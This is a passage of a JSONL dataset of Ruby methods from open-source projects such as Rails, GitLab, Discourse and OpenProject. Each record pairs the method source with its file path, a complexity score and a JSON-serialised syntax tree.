pm\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"first_post\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pm\"]},\"ordered_posts\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@io\"]},\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostDestroyer\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"system_user\"]},{\"type\":\"lvar\",\"children\":[\"first_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"staff_action_logs.cli_bulk_post_delete\"]}]}]}]}]},\"destroy\"]}]}]}]}]}","id":"21d34bb2-9136-4ccc-bce6-e06081de596e"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/sinatra-contrib/lib/sinatra/multi_route.rb","start_line":66,"raw_source":"def post(*args, &block)     super(*route_args(args), &block)  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"post\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"route_args\",{\"type\":\"lvar\",\"children\":[\"args\"]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"21cbf509-00b0-4504-beba-13da33948d16"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/integrations/exclusions/adding_exclusions_for_projects_spec.rb","start_line":17,"raw_source":"def destroy_exclusion_for_project\n    Integrations::Exclusions::DestroyService.new(\n      current_user: admin_user,\n      integration_name: 'beyond_identity',\n      projects: [project]\n    ).execute\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy_exclusion_for_project\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Integrations\"]},\"Exclusions\"]},\"DestroyService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"admin_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"integration_name\"]},{\"type\":\"str\",\"children\":[\"beyond_identity\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"projects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}]}]},\"execute\"]}]}","id":"ed0e9d91-b054-4d73-8786-1664c4fa7e27"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/helpers/snippets_helpers.rb","start_line":52,"raw_source":"def content_for(snippet)\n        if snippet.empty_repo?\n          env['api.format'] = :txt\n          content_type 'text/plain'\n          header['Content-Disposition'] = 'attachment'\n\n          snippet.content\n        else\n          blob = snippet.blobs.first\n\n          send_git_blob(blob.repository, blob)\n        end\n      end","complexity_score":15.6,"ast_json":"{\"type\":\"def\",\"children\":[\"content_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"snippet\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"snippet\"]},\"empty_repo?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"env\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"api.format\"]},{\"type\":\"sym\",\"children\":[\"txt\"]}]},{\"type\":\"send\",\"children\":[null,\"content_type\",{\"type\":\"str\",\"children\":[\"text/plain\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"header\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Content-Disposition\"]},{\"type\":\"str\",\"children\":[\"attachment\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"snippet\"]},\"content\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"blob\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"snippet\"]},\"blobs\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"send_git_blob\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blob\"]},\"repository\"]},{\"type\":\"lvar\",\"children\":[\"blob\"]}]}]}]}]}","id":"cdf47edd-98be-4676-ba45-4b9cc9d6e700"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/instrumentation.rb","start_line":2,"raw_source":"def instrument(operation, tags: [], &block)\n    # TODO: (@jgaskins): Extract the knowledge of which tracing library\n    # we're using, like we did with ForemStatsDriver\n    Datadog::Tracing.trace operation, tags: tags, &block\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"instrument\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"operation\"]},{\"type\":\"kwoptarg\",\"children\":[\"tags\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Datadog\"]},\"Tracing\"]},\"trace\",{\"type\":\"lvar\",\"children\":[\"operation\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tags\"]},{\"type\":\"lvar\",\"children\":[\"tags\"]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"6d142d7e-a5d3-4ebb-b19f-990463543fe9"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/test_formatter.rb","start_line":300,"raw_source":"def test_config_params_with_fields(data)\n      @formatter.configure('fields' => data)\n      assert_equal %w(one two three), @formatter.instance.fields\n    end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_config_params_with_fields\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@formatter\"]},\"configure\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"fields\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"one\"]},{\"type\":\"str\",\"children\":[\"two\"]},{\"type\":\"str\",\"children\":[\"three\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@formatter\"]},\"instance\"]},\"fields\"]}]}]}]}","id":"fe24a412-9a53-419b-b967-d264a72c7c09"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/squash_service.rb","start_line":31,"raw_source":"def squash!\n      squash_sha = repository.squash(current_user, merge_request, message)\n\n      success(squash_sha: squash_sha)\n    rescue StandardError => e\n      log_error(exception: e, message: 'Failed to squash merge request')\n\n      false\n    end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"squash!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"squash_sha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"squash\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"merge_request\"]},{\"type\":\"send\",\"children\":[null,\"message\"]}]}]},{\"type\":\"send\",\"children\":[null,\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"squash_sha\"]},{\"type\":\"lvar\",\"children\":[\"squash_sha\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"exception\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Failed to squash merge request\"]}]}]}]},{\"type\":\"false\",\"children\":[]}]}]},null]}]}","id":"70f44683-c12f-4341-893c-24c3e6161766"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/app/services/bim/bcf/issues/update_service.rb","start_line":34,"raw_source":"def before_perform(service_result)\n        wp_call = ::WorkPackages::UpdateService\n          .new(model: model.work_package,\n               user:,\n               contract_class: ::WorkPackages::UpdateContract)\n          .call(**params)\n\n        if wp_call.success?\n          self.params = params.slice(*Bim::Bcf::Issue::SETTABLE_ATTRIBUTES)\n\n          super\n        else\n          wp_call\n        end\n      end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"before_perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"service_result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"wp_call\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"WorkPackages\"]},\"UpdateService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"work_package\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"contract_class\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"WorkPackages\"]},\"UpdateContract\"]}]}]}]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wp_call\"]},\"success?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"params=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Bim\"]},\"Bcf\"]},\"Issue\"]},\"SETTABLE_ATTRIBUTES\"]}]}]}]},{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"wp_call\"]}]}]}]}","id":"9077ca99-38ee-4c26-bd0a-2f89aa078a6a"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/services/spree/tags/bulk_remove.rb","start_line":6,"raw_source":"def call(tag_names: [], records: [], context: 'tags')\n        tag_ids = ActsAsTaggableOn::Tag.where(name: tag_names.map(&:strip)).pluck(:id)\n\n        return if tag_ids.empty?\n\n        record_class = records.first.class\n\n        ActsAsTaggableOn::Tagging.where(\n          taggable_id: records.pluck(:id),\n          taggable_type: record_class.to_s,\n          context: context,\n          tag_id: tag_ids\n        ).delete_all\n\n        record_class.where(id: records.pluck(:id)).touch_all\n      end","complexity_score":20.0,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"tag_names\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"records\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"context\",{\"type\":\"str\",\"children\":[\"tags\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tag_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActsAsTaggableOn\"]},\"Tag\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_names\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"strip\"]}]}]}]}]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_ids\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"record_class\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"first\"]},\"class\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActsAsTaggableOn\"]},\"Tagging\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"taggable_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"taggable_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record_class\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"lvar\",\"children\":[\"context\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag_id\"]},{\"type\":\"lvar\",\"children\":[\"tag_ids\"]}]}]}]},\"delete_all\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record_class\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]},\"touch_all\"]}]}]}","id":"5ee6ea7e-1426-4e81-a4bc-283e0bd4032b"}
{"repo_name":"openproject","file_path":"./repos/openproject/db/migrate/tables/custom_fields.rb","start_line":34,"raw_source":"def self.table(migration) # rubocop:disable Metrics/AbcSize\n    create_table migration do |t|\n      t.string :type, limit: 30, default: \"\", null: false\n      t.string :field_format, limit: 30, default: \"\", null: false\n      t.string :regexp, default: \"\"\n      t.integer :min_length, default: 0, null: false\n      t.integer :max_length, default: 0, null: false\n      t.boolean :is_required, default: false, null: false\n      t.boolean :is_for_all, default: false, null: false\n      t.boolean :is_filter, default: true, null: false\n      t.integer :position, default: 1\n      t.boolean :searchable, default: false # rubocop:disable Rails/ThreeStateBooleanColumn\n      t.boolean :editable, default: true # rubocop:disable Rails/ThreeStateBooleanColumn\n      t.boolean :admin_only, default: false, null: false\n      t.boolean :multi_value, default: false # rubocop:disable Rails/ThreeStateBooleanColumn\n      t.text :default_value\n      t.string :name, limit: nil, default: nil\n      t.datetime :created_at, precision: nil\n      t.datetime :updated_at, precision: nil\n      t.boolean :content_right_to_left, default: false # rubocop:disable Rails/ThreeStateBooleanColumn\n      t.boolean :allow_non_open_versions, default: false # rubocop:disable Rails/ThreeStateBooleanColumn\n      t.references :custom_field_section\n      t.integer :position_in_custom_field_section, null: true\n\n      t.index %i[id type], name: \"index_custom_fields_on_id_and_type\"\n    end\n  end","complexity_score":29.45,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"table\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"migration\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"lvar\",\"children\":[\"migration\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[30]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"field_format\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[30]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"regexp\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"min_length\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"max_length\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"boolean\",{\"type\":\"sym\",\"children\":[\"is_required\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"boolean\",{\"type\":\"sym\",\"children\":[\"is_for_all\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"boolean\",{\"type\":\"sym\",\"children\":[\"is_filter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"position\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"boolean\",{\"type\":\"sym\",\"children\":[\"searchable\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"boolean\",{\"type\":\"sym\",\"children\":[\"editable\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"boolean\",{\"type\":\"sym\",\"children\":[\"admin_only\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"boolean\",{\"type\":\"sym\",\"children\":[\"multi_value\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"default_value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"datetime\",{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"datetime\",{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"boolean\",{\"type\":\"sym\",\"children\":[\"content_right_to_left\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"boolean\",{\"type\":\"sym\",\"children\":[\"allow_non_open_versions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"custom_field_section\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"position_in_custom_field_section\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"type\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_custom_fields_on_id_and_type\"]}]}]}]}]}]}]}","id":"c0fd1512-1624-4db5-8022-f14adb3ea8a9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/admin/overview/users/index.rb","start_line":35,"raw_source":"def click_search\n              within_element('filtered-search-block') do\n                find_element('search-button').click\n              end\n              wait_for_requests\n            end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"click_search\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_element\",{\"type\":\"str\",\"children\":[\"filtered-search-block\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_element\",{\"type\":\"str\",\"children\":[\"search-button\"]}]},\"click\"]}]},{\"type\":\"send\",\"children\":[null,\"wait_for_requests\"]}]}]}","id":"dd879197-1086-41b6-93f0-cd4629aa737e"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/attribute_methods/dirty.rb","start_line":63,"raw_source":"def reload(*)\n        super.tap do\n          @mutations_before_last_save = nil\n          @mutations_from_database = nil\n        end\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"reload\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"tap\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@mutations_before_last_save\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@mutations_from_database\",{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"3d7a3104-4f1e-47c8-a4b1-ba1a38d6dcca"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/flag.rb","start_line":53,"raw_source":"def system?\n    self.id.present? && self.id < MAX_SYSTEM_FLAG_ID\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"system?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"id\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"id\"]},\"<\",{\"type\":\"const\",\"children\":[null,\"MAX_SYSTEM_FLAG_ID\"]}]}]}]}","id":"a1000b7b-c0fb-49f7-a55a-7785884271fe"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/inverse_associations_test.rb","start_line":881,"raw_source":"def test_or_does_not_set_inverse_when_incorrect\n    interest = interests(:trainspotting)\n    human = interest.human\n    created_human = Human.create(name: \"wrong human\")\n    found_interest = created_human.interests.unscope(:where).detect { |this_interest| interest.id == this_interest.id }\n\n    assert_equal human, found_interest.human\n  end","complexity_score":17.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_or_does_not_set_inverse_when_incorrect\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"interest\",{\"type\":\"send\",\"children\":[null,\"interests\",{\"type\":\"sym\",\"children\":[\"trainspotting\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"human\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"interest\"]},\"human\"]}]},{\"type\":\"lvasgn\",\"children\":[\"created_human\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Human\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"wrong 